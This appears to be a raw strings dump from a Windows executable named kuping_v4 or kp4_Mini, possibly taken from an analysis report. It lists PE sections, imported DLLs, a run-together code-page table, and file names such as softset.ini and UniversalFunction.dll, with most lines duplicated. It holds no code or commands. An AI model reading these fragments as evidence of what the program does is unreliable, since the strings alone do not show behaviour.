Microsoft Windows 2000
Microsoft Windows XP
Microsoft Windows XP
Microsoft Windows Server 2003,
Microsoft Windows Server 2003,
Microsoft Windows XP Professional x64 Edition
Microsoft Windows XP Professional x64 Edition
Windows Server "Longhorn"
Windows Server "Longhorn"
1, 0, 0, 1
1, 0, 0, 1
kuping_v4.EXE
kuping_v4.EXE
kp4_Mini.exe_1172:
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
MFC42.DLL
MFC42.DLL
MSVCRT.dll
MSVCRT.dll
_acmdln
_acmdln
KERNEL32.dll
KERNEL32.dll
USER32.dll
USER32.dll
MSVCP60.dll
MSVCP60.dll
0900936iso-ir-581028598iso_8859-81201255iso_8859-8-i1200932cswindows31j
0900936iso-ir-581028598iso_8859-81201255iso_8859-8-i1200932cswindows31j
0628597greek81201258windows-1258
0628597greek81201258windows-1258
1201257windows-12570738598logical
1201257windows-12570738598logical
1201256windows-12560651932euc-jp
1201256windows-12560651932euc-jp
1201255windows-1255
1201255windows-1255
2701143x-ebcdic-finlandsweden-euro1201254windows-1254
2701143x-ebcdic-finlandsweden-euro1201254windows-1254
0801251x-cp12511201253windows-12531400949ks_c_5601_19871528599iso_8859-9:1989
0801251x-cp12511201253windows-12531400949ks_c_5601_19871528599iso_8859-9:1989
0801250x-cp12501201252windows-1252
0801250x-cp12501201252windows-1252
1201251windows-12511528598iso_8859-8:1988
1201251windows-12511528598iso_8859-8:1988
1201250windows-12502301149x-ebcdic-icelandic-euro
1201250windows-12502301149x-ebcdic-icelandic-euro
1150220iso-2022-jp1100874windows-874
1150220iso-2022-jp1100874windows-874
1901145x-ebcdic-spain-euro1620127iso_646.irv:1991
1901145x-ebcdic-spain-euro1620127iso_646.irv:1991
0551932x-euc1250221_iso-2022-jp1000932csshiftjis
0551932x-euc1250221_iso-2022-jp1000932csshiftjis
%s\%s
%s\%s
minikey
minikey
softset.ini
softset.ini
GetExeFlag
GetExeFlag
UniversalFunction.dll
UniversalFunction.dll
1.0.0.1
1.0.0.1
version.ini
version.ini
2013,1,1,1,1,1
2013,1,1,1,1,1
dddddd
dddddd
1987,1,1,1,1,1
1987,1,1,1,1,1
softProc
softProc
KP_5.exe
KP_5.exe
1, 0, 0, 1
1, 0, 0, 1
UniversalMini.EXE
UniversalMini.EXE